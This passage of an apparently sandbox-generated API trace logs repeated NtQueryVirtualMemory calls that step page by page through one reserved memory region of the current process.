VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xb4000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xb5000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xb6000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xb7000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xb8000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xb9000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xba000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xba000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xbb000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xbc000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xdf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xbd000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xde000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbe000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xbe000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xdd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xbf000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xdc000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xc0000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xdb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xc1000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xda000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xc2000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xc3000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xc4000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xc5000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xc6000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xc7000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xc8000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xc9000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xca000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xca000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xcb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xcb000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xcc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xcc000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xcf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xcd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xcd000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xce000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xce000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xce000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xcd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xcf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xcf000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xcc000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xd0000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xcb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xd1000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xca000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xd2000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xd3000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xd4000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xd5000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xd6000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xd7000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xd8000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xd9000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xda000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xda000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xdb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xdb000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xc0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xdc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xdc000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xbf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xdd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xdd000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xbe000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xde000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xde000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xbd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xdf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xdf000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xbc000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xe0000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xbb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xe1000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xba000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xe2000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xe3000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xe4000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xe5000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xe6000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xe7000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.993] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xe8000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.993] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xe9000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.993] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xea000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xea000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.993] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xeb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xeb000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xb0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.993] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xec000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xec000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xaf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.993] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xed000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xed000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xae000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.993] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xee000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xee000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xad000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.993] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xef000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xef000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xac000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.993] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xf0000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xab000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.993] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xf1000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xaa000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.993] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xf2000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.993] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xf3000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.993] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xf4000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xf5000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xf6000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xf7000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xf8000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xf9000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, 